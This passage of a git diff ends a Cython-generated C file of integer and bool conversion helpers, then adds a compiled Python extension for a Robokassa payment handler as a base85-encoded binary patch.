+#if PY_MAJOR_VERSION < 3 + } else if (likely(PyInt_CheckExact(o))) { + return PyInt_AS_LONG(o); +#endif + } else { + Py_ssize_t ival; + PyObject *x; + x = PyNumber_Index(o); + if (!x) return -1; + ival = PyInt_AsLong(x); + Py_DECREF(x); + return ival; + } +} +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b) { + return b ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False); +} +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { + return PyInt_FromSize_t(ival); +} + + +/* #### Code section: utility_code_pragmas_end ### */ +#ifdef _MSC_VER +#pragma warning( pop ) +#endif + + + +/* #### Code section: end ### */ +#endif /* Py_PYTHON_H */ diff --git a/handlers/payments/robokassa_pay.cpython-312-x86_64-linux-gnu.so b/handlers/payments/robokassa_pay.cpython-312-x86_64-linux-gnu.so new file mode 100755 index 0000000000000000000000000000000000000000..076b4b6d2d92297641a6f0e83e3aa537f594d699 GIT binary patch literal 1364144 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 